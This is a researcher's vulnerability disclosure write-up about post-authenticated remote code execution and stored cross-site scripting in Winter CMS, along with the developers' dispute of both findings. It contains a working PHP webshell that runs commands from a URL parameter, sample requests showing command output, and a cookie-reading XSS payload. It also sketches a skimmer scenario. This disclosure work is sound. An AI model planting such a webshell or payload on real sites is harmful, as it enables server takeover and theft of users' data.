Post-Authenticated Remote Code Execution && Post-Authenticated Stored Cross-Site Scripting in WinterCMS. Only abuseable if you get access within the admin panel, but chained with a pre-auth or weak creds, could be decent. This is unpatched as of 4/21/2025.
It's a smaller CMS and given the nature of needing access to the admin panel, I wouldn't call either of these issues critical at all, but it is indeed interesting, naturally.
When a user creates or modifies a new page in Winter CMS, they can store markup, code, and various metadata information. Specifically, in the Page class Cms\Classes\Page, the code field allows a user to freely input and execute PHP code when creating or modifying page.
- Login to the Administrative panel for managing Winter CMS.
- Click on the CMS header, subsequently click on the "Add" page functionality.
- In settings, put whatever you want in the File Name, Description, Title fields. Change "Layout" to default.
- In Markup, add a basic placeholder. It's not necessarily needed, but it appears to prevent errors.
<h2>Welcome to the Placeholder Page</h2>
<p>This is just a placeholder. The real processing happens in the background.</p
- Click on code, and add a basic PHP webshell.
<?php
function onStart()
{
if (isset($_GET['cmd'])) {
$command = $_GET['cmd'];
$this['result'] = shell_exec($command);
header('Content-Type: text/plain');
echo $this['result'];
exit;
}
}
?>
- You'll note remote code execution when you access the set URI, with ?cmd= appended.
Example 1:
REQUEST
GET /WinterCMS/newtest?cmd=id
Host: example.com
<--Snip-->
RESPONSE
HTTP/1.1 200 OK
<--Snip-->
uid=1000(soft) gid=1000(soft) groups=1000(soft)
<--Snip-->
Example 2:
REQUEST
GET /WinterCMS/newtest?cmd=ls+-la
Host: example.com
<--Snip-->
RESPONSE
HTTP/1.1 200 OK
<--Snip-->
total 392
drwxr-xr-x 10 soft soft 4096 Mar 3 15:39 .
drwxr-xr-x 17 soft nobody 4096 Mar 3 15:45 ..
-rw-r--r-- 1 soft soft 283 Dec 4 17:45 .editorconfig
-rw-r--r-- 1 soft soft 687 Dec 4 17:45 .env.example
-rw-r--r-- 1 soft soft 508 Dec 4 17:45 .gitignore
-rw-r--r-- 1 soft soft 1931 Dec 4 17:45 .htaccess
drwxr-xr-x 2 soft soft 4096 Mar 3 15:39 .vscode
-rw-r--r-- 1 soft soft 1109 Dec 4 17:45 LICENSE
-rw-r--r-- 1 soft soft 6669 Dec 4 17:45 README.md
-rw-r--r-- 1 soft soft 1646 Dec 4 17:45 artisan
drwxr-xr-x 3 soft soft 4096 Mar 3 15:39 bootstrap
-rw-r--r-- 1 soft soft 2519 Dec 5 02:13 composer.json
-rw-r--r-- 1 soft soft 318022 Dec 5 02:13 composer.lock
drwxr-xr-x 4 soft soft 4096 Mar 3 15:39 config
-rw-r--r-- 1 soft soft 1180 Dec 4 17:45 index.php
drwxr-xr-x 5 soft soft 4096 Mar 3 15:39 modules
drwxrwxrwx 3 soft soft 4096 Mar 3 15:39 plugins
drwxrwxrwx 7 soft soft 4096 Mar 3 15:39 storage
drwxrwxrwx 3 soft soft 4096 Mar 3 15:39 themes
drwxr-xr-x 47 soft soft 4096 Mar 3 15:39 vendor
<--Snip-->
It's possible to create a new partial with a malicious stored cross site scripting payload, and then reference the partial on any of the frontend pages of the CMS.
- Login to the Administrative panel for managing Winter CMS.
- Click on CMS.
- Click on "Partials".
- Click the "Add" button to create a new Partial.
- Write a simple payload in the "Markup" section, and name the file name
test.htm. You can use a payload like this for testing:<img src=x onerror="alert(document.cookie)">
- Click on any page in the "Pages" section.
- In the Markup, where the page code is written, reference your malicious partial by simply using something like this:
{% partial "test" %}
Attempted disclosure on March 3rd, 2025. Ultimately, LukeTowers said that neither of the vulnerabilities were considered vulnerabilities. For the following reasons:
- Post Authenticated Remote Code Execution: Luke referred me to the documentation that said the following, "Only possible while the
debugparameter is enabled in theconfig/app.phpfile. Additionally, there's anenableSafeModeparameter set tonullin theconfig/cms.phpfile by default. If set tonull, the PHP code section is disabled in all CMS templates (but only when debug mode is disabled)"
My notes on the Developer's response: The debug parameter is enabled by default when setting up WinterCMS, which means that Safe Mode is also disabled by default. The development team does recommend that developers disable debug mode in their official documentation if not needed, however, you don't have to be a hacker or an elite developer to know that people slip up, and the fix is as simple as not enabling the debug parameter by default. Developers that need to debug should have to turn it on manually as part of smart risk acceptance. It doesn't make sense to have debug enabled by default and safemode disabled by default.
- Post Authenticated Stored Cross Site Scripting: Luke said the following, "Editing arbitrary HTML is the entire point of the CMS module. Users with access to the CMS section are free to provide any arbitrary HTML they want, that's intentional". He then basically stated that developers concerned with this being a possibility for panel users, should ensure that these users do not receive permissions to allow unsafe markdown. Lastly, he said "I'd say that this issue as it is currently couldn't be accepted, since we have to assume that there's an inherit level of trust to any user with access to edit the theme HTML".
My notes on the Developer's response: The threat vector is highly unlikely to be some form of inherit trust in an insider threat based scenario. Exploitation of this would be more likely to occur in the instance of a threat actor obtaining credentials to the panel, which to be honest, is not an unlikely scenario in the age of phishing, weak credentials, cookie stealers via browser extension, etc. As an example of a possible scenario, imagine a threat actor with access to a Retail website build on this CMS, or some sort of web application that has a private community with user signup. An administrator could not see credit cards being processed, nor could they see passwords unless they went out of their way to configure this. A hacker though, could easily implement a malicious skimmer and then reference the partial covertly on the processing page, something that the development team would be unlikely to see, especially in complex applications with a ton of code. It could even be possible to modify existing partials that developers would be unlikely to look at.


